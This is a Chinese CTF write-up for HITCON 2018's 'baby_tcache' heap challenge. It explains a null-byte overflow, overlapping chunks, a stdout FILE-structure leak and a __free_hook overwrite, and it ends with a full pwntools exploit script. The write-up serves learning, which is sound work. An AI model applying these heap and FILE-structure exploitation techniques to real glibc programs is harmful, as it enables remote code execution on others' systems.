2018 HITCON PWN baby_tcache

链接:https://pan.baidu.com/s/1LiWzcGrrdDOI3gH6EXhQzA
提取码:79ui

libc2.27

grxer@grxer ~/D/s/c/p/heap> checksec baby_tcache
[*] '/mnt/hgfs/Share/ctfwiki/pwn/heap/baby_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

只有add和delete功能,最多10个chunk,漏洞也很容易找到

new里的 v3[size] = 0;null byte one漏洞

很容易可以利用去构成overlapping chunk 去做freehook就行了,但是程序没有输出,怎么泄露libc呢

输出函数只有printf和puts,printf在IOFILE里分析过了看下puts把

libio/ioputs.c

int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);

if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);

_IO_release_lock (_IO_stdout);
return result;
}

熟悉的_IO_sputn调用,fwrite的主要函数,最终会输出_IO_2_1_stdout_中_IO_write_base~IO_write_ptr之间的内容,虽然程序用setvbuf关了缓冲区,但是setvbuf是打开_IO_2_1_stdout_的flag低两个bit来关闭缓冲区的,如果我们可以控制底层的flag,还怕这个?

思路把_IO_2_1_stdout_链入bin伪造一波,获取libc,利用overlapping做freehook

overlapping chunk

add(0x500-0x8)  # 0
add(0x30) # 1
add(0x40) # 2
add(0x50) # 3
add(0x60) # 4
add(0x500 - 0x8) # 5
add(0x70) # 6 //防止0和5合并时,和topchunk合并
delete(4)
add(0x68,b'a'*0x60 + b'\x60\x06')
delete(2)
delete(0)
delete(5)

申请了6个堆

image-20230419233901431

想让堆5做先前合并到0,就需要修改堆5的prevsize和previnuse位,

释放堆5时要制造前面所有堆块是一个大堆块且free状态的假象,prevsize=0x500+0x40+0x50+0x60+0x70=0x660

释放4再申请0x68拿回来原来的chunk,由于空间复用和null byte overflow 可以修改堆5的prevsize和previnuse位

image-20230419234348442

释放0再释放5构成unlink,导致overlapping

image-20230419234533161

image-20230419234624496

大小为0x660+0x500=0xB60符合预期

同时把堆2放入bin里为下一步做准备

image-20230419234602649

IO_2_1_stdout入链

我们可以切割unsortedbin来让在tcachebin的堆2的fd指向unsortedbin,

切割大小为0x500+0x40,减去chunkhead为0x530大小

add(0x530)

image-20230419235740115

image-20230419235803167

image-20230420000100153

申请出来尾号1790的chunk,把他的fd低两个字节改掉就可以入链

add(0xa0, b'\x60\xc7')

image-20230420000346155

泄露libc

拿出来stdout进行伪造

flag需要满足

#define _IO_MAGIC 0xFBAD0000
#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000

即flag=0xFBAD1800

add(0x40)

add(0x3f,p64(0xfbad1800) + p64(0) * 3 + b'\x00')

为什么会是3f这么奇怪的数字而不是直接0x40大小,应为我们程序会v3[size] = 0;会在申请到的堆0x7ffff7bec760+size位置零,在stdout的IO_FILE结构体里随便置零极有可能导致程序crash掉

image-20230420003158991

image-20230420003516321

所以我们选择了一块本来就是零的地方,0x3e 0x3f 0x47 0x48都可以

修改前

image-20230420001600223

修改后

image-20230420003955229

下次输出菜单时即可泄露地址

image-20230420004449167

image-20230420004531732

freehook

这个时候我们看下unsortbin

image-20230420005729367

哟,这不是我们的堆4吗,如果我们在前面

add(0x40)

add(0x3f,p64(0xfbad1800) + p64(0) * 3 + b'\x00')的时候释放掉chunk4时,不就可以把chunk4放入tcache吗

delete(4) add(0x530) add(0xa0, b'\x60\xc7')

image-20230420010052891

两次申请freehook里写入onegadget即可

add(0x60,p64(libcelf.symbols['__free_hook']))

image-20230420010633032

add(0x60) add(0x60,p64(onegadget))

delete(0)

image-20230420010811418

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./baby_tcache'
elf = ELF(pwnfile)
libcelf=ELF('/mnt/hgfs/Share/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def add(size,content=b'x'):
sla(b'choice: ',b'1')
sla(b'Size:',str(size).encode())
sa(b'Data:',content)

def delete(index):
sla('choice: ',b'2')
sla('Index:',str(index).encode())
add(0x500-0x8) # 0
# b()
add(0x30) # 1
add(0x40) # 2
add(0x50) # 3
add(0x60) # 4
add(0x500 - 0x8) # 5
add(0x70) # 6
# b()
delete(4)
# b()
add(0x68,b'a'*0x60 + b'\x60\x06')
# b()
delete(2)
delete(0)
# b()
delete(5)
# b()
delete(4)
add(0x530)
add(0xa0, b'\x60\xc7')
# b()
add(0x40)
# b()
# db('b malloc')
# db('b *$rebase(0x0D83)')
add(0x48,p64(0xfbad1800) + p64(66) * 3 + b'\x00')
# pause()
r(8)
libc=uu64(r(6))-0x3ed8b0
p('libc',libc)
libcelf.address=libc
onegadget=libc+0x4f302
# b()
add(0xa0,p64(libcelf.symbols['__free_hook']))
# b()
add(0x60)
add(0x60,p64(onegadget))
delete(0)
io.interactive()